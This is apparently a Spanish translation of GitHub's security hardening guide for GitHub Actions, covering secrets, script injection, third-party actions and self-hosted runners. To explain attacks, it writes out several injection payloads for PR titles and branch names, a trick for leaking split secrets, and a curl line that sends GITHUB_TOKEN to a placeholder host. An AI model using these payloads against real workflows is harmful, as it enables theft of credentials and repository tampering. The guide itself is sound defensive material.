Fortalecimiento de seguridad para GitHub Actions

Información general

Esta guía explica cómo configurar el fortalecimiento de seguridad para ciertas características de las GitHub Actions. Si no conoce bien los conceptos de GitHub Actions, vea "Entender las GitHub Actions".

Uso de secretos

Los valores sensibles jamás deben almacenarse como texto simple e archivos de flujo de trabajo, sino más bien como secretos. Los secretos se pueden configurar en el nivel de organización, repositorio o entorno, y permiten almacenar información confidencial en GitHub Enterprise Server.

Para ayudar a prevenir la divulgación accidental, GitHub Enterprise Server utiliza un mecanismo que intenta redactar cualquier secreto que aparezca en las bitácoras de ejecución. La redacción busca coincidencias exactas de cualquier secreto configurado usado en el trabajo, así como los cifrados comunes de los valores, tales como Base64. Sin embargo, ya que hay varias formas en las que se puede transformar el valor de un secreto, esta redacción no está garantizada. Además, el ejecutor solo puede censurar secretos usados en el trabajo actual. Como resultado, hay ciertos pasos proactivos y buenas prácticas que debes seguir para ayudarte a garantizar que se redacten los secretos, y para limitar otros riesgos asociados con ellos:

• No usar nunca datos estructurados como un secreto
  • Los datos estructurados pueden causar que la redacción de secretos dentro de las bitácoras falle, ya que la redacción depende ampliamente de encontrar una coincidencia exacta para el valor específico del secreto. Por ejemplo, no utilices un blob de JSON, XML, o YAML (o similares) para encapsular el valor de un secreto, ya que esto reduce significativamente la probablidad de que los secretos se redacten adecuadamente. En vez de esto, crea secretos individuales para cada valor sensible.
• Registrar todos los secretos utilizados en los flujos de trabajo
  • Si se usa un secreto para generar otro valor confidencial en un flujo de trabajo, ese valor generado debe registrarse formalmente como secreto, de modo que se redactará si alguna vez aparece en los registros. Por ejemplo, si utilizas una llave privada para generar un JWT firmado para acceder a una API web, asegúrate registrar este JWT como un secreto, de lo contrario, este no se redactará si es que llega a ingresar en la salida de la bitácora.
  • El registrar secretos aplica también a cualquier tipo de transformación/cifrado. Si tu secreto se transforma de alguna manera (como en el cifrado URL o de Base64), asegúrate de registrar el valor nuevo como un secreto también.
• Auditar cómo se controlan los secretos
  • Audita cómo se utilizan los secretos para ayudarte a garantizar que se manejan como lo esperas. Puedes hacer esto si revisas el código fuente del rpositorio que ejecuta el flujo de trabajo y verificas cualquier acción que se utilice en dicho flujo de trabajo. Por ejemplo, verifica que no se estén enviando a hosts no deseados, o que no se estén imprimiendo explícitamente en la salida de una bitácora.
  • Visualiza las bitácoras de ejecución de tu flujo de trabajo después de probar las entradas válidas/no válidas y verifica que los secretos se redacten adecuadamente o que no se muestren. No siempre resulta obvio la forma en que un comando o herramienta que está invocando enviará errores a STDOUT y STDERR, y los secretos podrían acabar posteriormente en los registros de errores. Por consiguiente, es una buena práctica el revisar manualmente las bitácoras de flujo de trabajo después de probar las entradas válidas y no válidas. Para obtener información sobre cómo limpiar los registros de flujo de trabajo que pueden contener datos confidenciales involuntariamente, consulte "Uso de registros de ejecución de flujo de trabajo".
• Utilizar credenciales cuyo ámbito sea el mínimo
  • Asegúrate de que las credenciales que estás utilizando dentro de los flujos de trabajo tengan los menores privilegios requeridos y ten en mente que cualquier usuario con acceso de escritura en tu repositorio tiene acceso de lectura para todos los secretos que has configurado en éste.
  • Las acciones pueden usar GITHUB_TOKEN accediendo a él desde el contexto github.token. Para obtener más información, vea «Contextos». Por lo tanto, debe asegurarse de que se conceden los permisos mínimos necesarios a GITHUB_TOKEN. Una buena práctica de seguridad consiste en establecer el permiso predeterminado para que GITHUB_TOKEN tenga acceso de lectura solo para contenido del repositorio. Se puede incrementar los permisos, conforme se requiera, para los jobs individuales dentro del archivo de flujo de trabajo. Para obtener más información, vea «Autenticación automática de tokens».
• Auditar y rotar los secretos registrados
  • Revisa con frecuencia los secretos que se han registrado para confirmar que aún se requieran. Elimina aquellos que ya no se necesiten.
  • Rota los secretos con frecuencia para reducir la ventana de tiempo en la que un secreto puesto en riesgo es aún válido.
• Tener en cuenta la exigencia de revisiones para acceder a los secretos
  • Puedes utilizar revisiones requeridas para proteger los secretos del ambiente. Un job del flujo de trabajo no podrá acceder a los secretos del ambiente hasta que el revisor otorgue la aprobación. Para obtener más información sobre cómo almacenar secretos en entornos o requerir revisiones para entornos, vea "Uso de secretos en Acciones de GitHub" y "Utilizar ambientes para el despliegue".

Uso de CODEOWNERS para supervisar los cambios

Puede usar la característica CODEOWNERS para controlar cómo se realizan los cambios en los archivos de flujo de trabajo. Por ejemplo, si todos sus archivos de flujo de trabajo se almacenan en .github/workflows, puede agregar este directorio a la lista de propietarios de código para que cualquier cambio propuesto a estos archivos requiera primero de una aprobación de un revisor designado.

Para obtener más información, vea «Acerca de los propietarios de código».

Entender el riesgo de las inyecciones de código

Cuando cree flujos de trabajo, acciones personalizadas y acciones compuestas, siempre debe plantearse si el código podría ejecutar entradas no fiables de atacantes. Esto puede ocurrir cuando un atacante agrega comandos y scripts malintencionados a un contexto. Cuando tu flujo de trabajo se ejecuta, estas secuencias podrían interpretarse como código que luego se ejecutará en el ejecutor.

Los atacantes pueden agregar su propio contenido malintencionado al contexto de github, que se debe tratar como una entrada potencialmente no fiable. Normalmente, estos contextos terminan con body, default_branch, email, head_ref, label, message, name, page_name, ref y title. Por ejemplo: github.event.issue.title o github.event.pull_request.body.

Debes asegurarte de que estos valores no fluyan directamente hacia los flujos de trabajo, acciones, llamados a las API ni a cualquier otro lugar en donde se puedan itnerpretar como còdigo ejecutable. Cuando adoptas la misma postura de programaciòn defensiva que utilizaràs para cualquier otro còdigo de aplicaciones privilegiado, puedes ayudar a que la seguridad fortalezca tu uso de las GitHub Actions. Para obtener información sobre algunos de los pasos que podría realizar un atacante, vea "Fortalecimiento de seguridad para GitHub Actions".

Adicionalmente, hay otras fuentes menos obvias de entradas no confiables, tales como los nombres de rama y las direcciones de correo electrònico, las cuales pueden ser bastante flexibles en cuestiòn de su contenido permitido. Por ejemplo, zzz";echo${IFS}"hello";# sería un nombre de rama válido y un posible vector de ataque para un repositorio de destino.

Las siguientes secciones explican còmo puedes ayudar a mitigar el riesgo de inyecciòn de scripts.

Ejemplo de un ataque de inyecciòn de scripts

Un ataque de inyecciòn de scripts puede ocurrir directamente dentro de un script dentro de las lìneas de un flujo de trabajo. En el siguiente ejemplo, una acciòn utiliza una expresiòn para probar la validez del tìtulo de una solicitud de cambios, pero tambièn agrega el riesgo de ocasionar una inyecciòn de scripts:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Este ejemplo es vulnerable a la inyección de scripts, ya que el comando run se ejecuta en un script de shell temporal en el ejecutor. Antes de que se ejecute el script, se evalúan las expresiones dentro de ${{ }} y luego se sustituyen con los valores resultantes, que puede hacerlo vulnerable a la inyección de comandos de shell.

Para insertar comandos en este flujo de trabajo, el atacante podría crear una solicitud de incorporación de cambios denominada a"; ls $GITHUB_WORKSPACE":

En este ejemplo, el carácter " se usa para interrumpir la instrucción title="${{ github.event.pull_request.title }}", lo que permite ejecutar el comando ls en el ejecutor. Puede ver la salida del comando ls en el registro:

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

Buenas pràcticas para mitigar los ataques de inyecciòn de scripts

Hay varios acercamientos diferentes disponibles para ayudarte a mitigar el riesgo de inyecciones de scripts:

Utilizar una acciòn en vez de un script dentro de las lìneas (recomendado)

El acercamiento recomendado es crear una acción de JavaScript que procese el valor del contexto como un argumento. Este acercamiento no es vulnerable a los ataques de inyecciòn, ya que el valor del contexto no se utiliza para genrar un script de un shell, sino que se pasa a la acción como un argumento en vez de eso:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Utilizar una variable de ambiente intermedia

Para los scripts dentro de las lìneas, el acercamiento preferente para manejar las entradas no confiables es configurar el valor de la expresiòn en una variable de ambiente intermedia.

En el ejemplo siguiente se usa Bash para procesar el valor github.event.pull_request.title como una variable de entorno:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

En este ejemplo, el intento de inyección de script no se realiza correctamente, lo que se refleja en las líneas siguientes del registro:

   env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

Con este enfoque, el valor de la expresión ${{ github.event.issue.title }} se almacena en memoria y se usa como variable, y no interactúa con el proceso de generación de scripts. Además, considere la posibilidad de usar variables de shell de comillas dobles para evitar la división de palabras, si bien esta es una de las muchas recomendaciones generales para escribir scripts de shell y no es específica de GitHub Actions.

Restringir los permisos para los tokens

Para ayudarte a mitigar el resigo de un token expuesto, considera restringir los permisos asignados. Para obtener más información, vea «Autenticación automática de tokens».

Utilizar OpenID connect para acceder a los recursos en la nube

Si tus flujos de trabajo de GitHub Actions necesitan acceder a los recursos de un proveedor de servicios en la red que sea compatible con OpenID Connect (OIDC), puedes configurarlos para que se autentiquen directamente con dicho proveedor. Esto te permitirá dejar de almacenar estas credenciales como secretos de duración larga y te proporcionará otros beneficios de seguridad. Para más información, consulta "Acerca del fortalecimiento de seguridad con OpenID Connect".

Utilizar acciones de terceros

Los jobs individuales en un flujo de trabajo pueden interactuar con (y ponerse enriesgo con) otros jobs. Por ejemplo, un job que consulta las variables de ambiente que se utilizan por otro job subsecuente, escribir archivos en un directorio compartido que el job subsecuente procesa, o aún de forma más directa si interactúa con el conector de Docker e inspecciona a otros contenedores en ejecución y ejecuta comandos en ellos.

Esto significa que poner en peligro una sola acción dentro de un flujo de trabajo puede ser muy significativo, ya que esta acción en peligro tiene acceso a todos los secretos que configura en su repositorio, y podría utilizar GITHUB_TOKEN para escribir en él. Por consiguiente, hay un riesgo significativo en suministrar acciones de repositorios de terceros en GitHub. Para obtener información sobre algunos de los pasos que podría realizar un atacante, vea "Fortalecimiento de seguridad para GitHub Actions".

Puedes ayudar a mitigar este riesgo si sigues estas buenas prácticas:

• Anclar las acciones a un SHA de confirmación de longitud completa

  Fijar una acción a un SHA de confirmación de longitud completa es actualmente la única forma de utilizar una acción como un lanzamiento inmutable. Fijar las acciones a un SHA en particular ayuda a mitigar el riesgo de que un actor malinencionado agregue una puerta trasera al repositorio de la acción, ya que necesitarían generar una colisión de SHA-1 para una carga útil vlálida de un objeto de Git. Al seleccionar un SHA, debe comprobar que se encuentra en el repositorio de la acción y no en una bifurcación de repositorio.

• Auditar el código fuente de la acción

  Asegúrate de que la acción está manejando los secretos y el contenido de tu repositorio como se espera. Por ejemplo, verifica que los secretos no se envíen a hosts no deseados, o que no se registren inadvertidamente.

• Anclar las acciones a una etiqueta únicamente si confía en el creador

  Aunque fijar el SHA de una confirmación es la opción más segura, especificar una etiqueta es más conveniente y se utiliza ampliamente. Si te gustaría especificar una etiqueta, entonces asegúrate de que confías en los creadores de la acción. La insignia de ‘Verified creator’ en GitHub Marketplace es una señal útil, ya que te indica que la acción viene de un equipo cuya identidad verificó GitHub. Nota que este acercamiento sí tiene riesgos aún si confías en el autor, ya que una etiqueta se puede mover o borrar en caso de que un actor malicioso consiga acceso al repositorio que almacena la acción.

Reutilizar los flujos de trabajo de terceros

El mismo principio que se describió anteriormente para utilizar acciones de terceros también aplica para los flujos de trabajo de terceros. Puedes ayudar a mitigar los riesgos asociados con la reutilización de flujos de trabajo si sigues las mismas buenas prácticas que se describen anteriormente. Para obtener más información, vea «Reutilización de flujos de trabajo».

El uso de Dependabot version updates mantiene actualizadas las dependencias

Puedes usar Dependabot para asegurarte de que las referencias a las acciones y los flujos de trabajo reutilizables usados en el repositorio se mantienen actualizados. Las acciones a menudo se actualizan con correcciones de errores y con nuevas características para que los procesos automatizados sean más confiables, rápidos y seguros. Dependabot acaba con la necesidad de mantener las dependencias, ya que lo hace automáticamente. Para obtener más información, vea «Mantener tus acciones actualizadas con el Dependabot» y «Sobre las actualizaciones de seguridad de Dependabot».

Habilitación para que los flujos de trabajo accedan a los repositorios internos y privados

Si haces que un repositorio privado sea accesible a los flujos de trabajo de GitHub Actions de otros repositorios, los colaboradores externos de otros repositorios pueden acceder a él indirectamente a pesar de que no tengan acceso directo a estos repositorios. Los colaboradores externos pueden ver registros de las ejecuciones de flujo de trabajo cuando se utilizan acciones o flujos de trabajo del repositorio privado. Para obtener más información, consulte "Compartir acciones y flujos de trabajo con tu empresa".

Para permitir que los ejecutores descarguen estas acciones, GitHub pasa un token de instalación con ámbito al ejecutor. Este token tiene acceso de lectura al repositorio y expira automáticamente después de una hora.

Impedir la creación o aprobación de solicitudes de incorporación de cambios por parte de GitHub Actions

Puedes elegir si permitir o impedir que los flujos de trabajo de GitHub Actions creen o aprueben las solicitudes de incorporación de cambios. Permitir que los flujos de trabajo, o cualquier otra automatización, creen o aprueben solicitudes de cambios podría ser un riesgo de seguridad si la solicitud de cambios se combina sin la supervisión adecuada.

Para obtener más información sobre cómo configurar esta opción, consulta "Requerir políticas para las GitHub Actions en tu empresa," "Inhabilitación o limitación de GitHub Actions para tu organización" y "Administrar los ajustes de las GitHub Actions de un repositorio".

Utilizar las tarjetas de puntuación para asegurar los flujos de trabajo

Los cuadros de mandos son una herramienta de seguridad automatizada que marca las prácticas de riesgo en la cadena de suministro. Puede usar la acción de cuadros de mandos y el flujo de trabajo de inicio para seguir las prácticas de seguridad recomendadas. Una vez que se configure, la acción de cuadros de mando se ejecutará automáticamente en los cambios de repositorio y alertará a los desarrolladores sobre las prácticas de riesgo en la cadena de suministro utilizando la experiencia de code scanning integrada. El proyecto de tarjetas de puntuación ejecuta varias verificaciones, incluyendo las de ataques de inyección de scripts, permisos de tokens y acciones fijadas.

Impacto potencial de un ejecutor puesto en riesgo

Estas secciones consideran algunos de los pasos que puede llevar a cabo un atacante si pueden ejecutar comandos malintencionados en un ejecutor de GitHub Actions.

Acceder a los secretos

Los flujos de trabajo desencadenados desde un repositorio bifurcado mediante el evento pull_request tienen permisos de solo lectura y no tienen acceso a secretos. Pero estos permisos difieren para varios desencadenadores de eventos, como issue_comment, issues y push, y pull_request desde una rama dentro del repositorio, donde el atacante podría intentar robar secretos del repositorio o usar el permiso de escritura del elemento GITHUB_TOKEN del trabajo.

• Si el token o el secreto se configura como una variable de entorno, se puede acceder a él directamente mediante el entorno con printenv.

• Si el secreto se utiliza dierctamente en una expresiòn, el script del shell que se generò se almacenarà en el disco y se podrà acceder al èl.

• En el caso de una acción eprsonalizada, el riesgo puede variar dependiendo de cómo un programa utiliza el secreto que obtuvo del argumento:

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Aunque GitHub Actions limpia los secretos de la memoria a los que no se hace referencia en el flujo de trabajo (o que no se incluyen en una acción), un atacante determinado podría recopilar GITHUB_TOKEN y cualquier secreto al que se hace referencia.

Exfiltrar datos de un ejecutor

Un atacante puede exfiltrar cualquier secreto u otros datos robados del ejecutor. Para evitar la revelación accidental de secretos, GitHub Actions redacta automáticamente los secretos impresos en el registro, pero esto no es un límite de seguridad verdadero porque los secretos se pueden enviar intencionadamente al registro. Por ejemplo, los secretos ofuscados se pueden filtrar mediante echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Adicionalmente, ya que el atacante podría ejecutar comandos arbitrarios, podrían utilizar las solicitudes de tipo HTTP para enviar secretos u otros datos del repositorio a un servidor externo.

Robo del elemento GITHUB_TOKEN del trabajo

Es posible que un atacante robe el elemento GITHUB_TOKEN del trabajo. El ejecutor de GitHub Actions recibe automáticamente un elemento GITHUB_TOKEN generado con permisos que se limitan únicamente al repositorio que contiene el flujo de trabajo y el token expira una vez que se haya completado el trabajo. Una vez que se venza, el token ya no será útil para un atacante. Para evitar esta limitación, pueden automatizar el ataque y realizarlo en fracciones de segundo llamando a un servidor controlado por el atacante con el token, por ejemplo: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Modificar el contenido de un repositorio

El servidor del atacante puede usar la API GitHub Enterprise Server para modificar el contenido del repositorio, incluidas las versiones, si los permisos asignados deGITHUB_TOKEN no están restringidos.

Considerar acceso entre repositorios

GitHub Actions tiene el alcance intencional de un solo repositorio a la vez. GITHUB_TOKEN concede el mismo nivel de acceso que el de un usuario con acceso de escritura, ya que cualquier usuario con este tipo de acceso puede acceder a este token creando o modificando un archivo de flujo de trabajo, lo que eleva los permisos de GITHUB_TOKEN en caso de ser necesario. Los usuarios tienen permisos específicos para cada repositorio, por lo que permitir que GITHUB_TOKEN para un repositorio otorgue acceso a otro afectaría al modelo de permisos de GitHub si no se implementa con cuidado. De forma similar, se debe tener cuidado al agregar tokens de autenticación de GitHub a un flujo de trabajo, ya que esto también puede afectar el modelo de permisos de GitHub al otorgar inadvertidamente un acceso amplio a los colaboradores.

Si tu organización es propiedad de una cuenta empresarial, puedes compartir y reutilizar GitHub Actions almacenándolas en repositorios internos. Para obtener más información, vea «Compartir acciones y flujos de trabajo con tu empresa».

Otra forma de realizar interacciones privilegiadas entre repositorios es hacer referencia a un token de autenticación de GitHub o llave SSH como un secreto dentro del flujo de trabajo. Ya que muchos tipos de tokens de autenticación no permiten el acceso granular a recursos específicos, existe un riesgo significativo en el utilizar el tipo incorrecto de token, ya que puede otorgr un acceso mucho más amplio que lo que se espera.

Esta lista describe los acercamientos recomendatos para acceder alos datos de un repositorio dentro de un flujo de trabjajo, en orden descendente de preferencia:

1. ElGITHUB_TOKEN
   • Este token tiene un ámbito intencional para el repositorio único que invocó el flujo de trabajo y puede tener el mismo nivel de acceso que el de un usuario con acceso de escritura en el repositorio. El token se crea antes de que inicie cada job y caduca cuando dicho job finaliza. Para obtener más información, vea «Autenticación automática de tokens».
   • GITHUB_TOKEN se debe usar siempre que sea posible.
2. Clave de implementación del repositorio
   • Las llaves de despliegue son uno de los únicos tipos de credenciales que otorgan acceso de lectura o escritura en un solo repositorio, y pueden utilizarse para interactuar con otro repositorio dentro de un flujo de trabajo. Para obtener más información, vea «Administrar las llaves de despliegue».
   • Nota que las llaves de despliegue solo pueden clonarse y subirse al repositorio utilizando Git, y no pueden utilizarse para interactuar con las API de REST o de GraphQL, así que puede no sean adecuadas para tus necesidades.
3. Tokens de GitHub App
   • Las GitHub Apps pueden instalarse en los repositorios seleccionados, e incluso tienen permisos granulares en los recursos dentro de ellos. Puedes crear una GitHub App interna a tu organización, instalarla en los repositorios a los que necesites tener acceso dentro de tu flujo de trabajo, y autenticarte como la instalación dentro del flujo de trabajo para acceder a esos repositorios. Para obtener más información, vea «Realización de solicitudes de API autenticadas con una aplicación de GitHub en un flujo de trabajo de Acciones de GitHub».
4. personal access tokens
   • Nunca debes usar un personal access token. Estos tokens conceden acceso a todos los repositorios de las organizaciones a las que tienes acceso, así como a los repositorios de tu cuenta personal. Esto otorga indirectamente acceso amplio a todos los usuarios con permisos de escritura para el repositorio en el cual se encuentra el flujo de trabajo.
   • Si usas un personal access token, nunca debes usar un personal access token desde tu propia cuenta. Si sales de una organización más adelante, los flujos de trabajo que utilicen este token fallarán inmediatamente, y depurar este problema puede ser difícil. En su lugar, debes usar un personal access token para una nueva cuenta que pertenece a tu organización y a la que solo se concede acceso a los repositorios específicos necesarios para el flujo de trabajo. Nota que este acercamiento no es escalable y debe evitarse para favorecer otras alternativas, tales como las llaves de despliegue.
5. Claves SSH en una cuenta personal
   • Los flujos de trabajo nunca deben usar las llaves SSH en una cuenta personal. De forma similar a personal access tokens, otorgan permisos de lectura/escritura a todos tus repositorios personales así como a todos los repositorios a los que tengas acceso gracias a la pertenencia a una organización. Esto otorga indirectamente acceso amplio a todos los usuarios con permisos de escritura para el repositorio en el cual se encuentra el flujo de trabajo. Si pretendes utilizar una llave SSH porque solo necesitas llevar a cabo clonados de repositorio o subidas a éste, y no necesitas interactuar con una API pública, entonces mejor deberías utilizar llaves de despliegue individuales.

Protección de ejecutores hospedados de GitHub

Fortalecimiento para los ejecutores auto-hospedados

Los ejecutores autohospedados para GitHub Enterprise Server no tienen garantías sobre ejecutar en máquinas virtuales limpias y efímeras, y pueden ponerse en riesgo de forma persistente mediante el código no fiable en un flujo de trabajo.

Ten cuidado al utilizar ejecutores autohospedados en repositorios privados o internos, ya que cualquier usuario que pueda bifurcar el repositorio y abrir una solicitud de incorporación de cambios (por lo general, aquellos con acceso de lectura al repositorio) pueden poner en riesgo el entorno del ejecutor autohospedado, incluida la obtención de acceso a los secretos y a GITHUB_TOKEN que, en función de su configuración, puede conceder acceso de lectura al repositorio. Aunque los flujos de trabajo pueden controlar el acceso a los secretos de ambiente utilizando ambientes y revisiones requeridas, estos flujos de trabajo no se encuentran en un ambiente aislado y aún son susceptibles a los mismos riesgos cuando se ejecutan en un ejecutor auto-hospedado.

Cuando se define un ejecutor auto-hospedado a nivel de organización o de empresa, GitHub Enterprise Server puede programar flujos de trabajo de repositorios múltiples en el mismo ejecutor. Como consecuencia, si se pone en riesgo la seguridad de estos ambientes, se puede ocasionar un impacto amplio. Para ayudar a reducir el alcance de esta vulneración, puedes crear límites si organizas tus ejecutores auto-hospedados en grupos separados. Puedes restringir qué flujos de trabajo, organizaciones y repositorios pueden acceder a los grupos de ejecutores. Para obtener más información, vea «Administración del acceso a los ejecutores autohospedados mediante grupos».

También deberás considerar el ambiente de las máquinas del ejecutor auto-hospedado:

• ¿Qué información sensible reside en la máquina configurada como el ejecutor auto-hospedado? Por ejemplo, llaves SSH privadas, tokens de acceso a la API, entre otros.
• ¿La máquina tiene acceso a la red para servicios sensibles? Por ejemplo, servicios de metadatos de Azure o de AWS. La cantidad de información sensible en este ambiente debe ser mínima, y siempre debes estar consciente de que cualquier usuario capaz de invocar flujos de trabajo tendrá acceso a este ambiente.

Algunos clientes podrían intentar mitigar estos riesgos parcialmente implementando sistemas que destruyan al ejecutor auto-hospedado automáticamente después de cada ejecución de un job. Sin embargo, este acercamiento podría no ser tan efectivo como se pretende, ya que no hay forma de garantizar que un ejecutor auto-hospedado ejecute solamente un job. Algunos trabajos utilizarán secretos como los argumentos de la línea de comandos, los cuales puede ver otro trabajo que se esté ejecutando en el mismo ejecutor, como ps x -w. Esto puede causar fugas de secretos.

Planear tu estrategia de administración para los ejecutores auto-hospedados

Un ejecutor auto-hospedado puede agregarse a varios niveles en tu jerarquía de GitHub: el nivel de empresa, organización o repositorio. Esta colocación determina quién podrá administrar el ejecutor:

Administración centralizada:

• Si planeas que un equipo centralizado sea el propietario de los ejecutores auto-hospedados, entonces la recomendación es agregar tus ejecutores en el nivel de empresa u organización mutua más alto. Esto otorga a tu equipo una ubicación única para ver y administrar tus ejecutores.
• Si solo tienes una organización sencilla, entonces el agregar tus ejecutores a nivel organizacional es efectivamente el mismo acercamiento, pero puede que encuentres dificultades si agregas otra organización en el futuro.

Administración descentralizada:

• Si cada equipo administrará sus propios ejecutores auto-hospedados, entonces se recomienda agregarlos en el nivel más alto de propiedad del equipo. Por ejemplo, si cada equipo es dueño de su propia organización, entonces será más simple si los ejecutores se agregan a nivel de organización también.
• También podrías agregar ejecutores a nivel de repositorio, pero esto agregará una sobrecarga de administración y también incrementará la cantidad de ejecutores que necesitas, ya que no puedes compartir ejecutores entre repositorios.

Autenticarte a tu proveedor en la nube

Si estás utilizando las GitHub Actions para desplegar a un proveedor en la nube o si intentas utilizar HashiCorp Vault para la administración de secretos, entonces se recomienda que consideres utilizar OpenID Connect para crear tokens de acceso con un buen alcance y de vida corta para tus ejecuciones de flujo de trabajo. Para obtener más información, vea «Acerca del fortalecimiento de seguridad con OpenID Connect».

Auditar eventos de GitHub Actions

Puedes usar el registro de seguridad para supervisar la actividad de tu cuenta de usuario y el registro de auditoría para supervisar la actividad en tu organización o empresa. El registro de seguridad y auditoría registra el tipo de acción, cuándo se ejecutó, y qué cuenta personal llevó a cabo la acción.

Por ejemplo, puedes usar el registro de auditoría para realizar un seguimiento del evento org.update_actions_secret, que realiza un seguimiento de los cambios en los secretos de la organización.

Para obtener la lista completa de eventos que puedes encontrar en el registro de auditoría de cada tipo de cuenta, consulta los artículos siguientes:

• "Eventos de registro de seguridad"
• "Eventos de registro de auditoría de la organización"
• "Eventos de registro de auditoría de la empresa"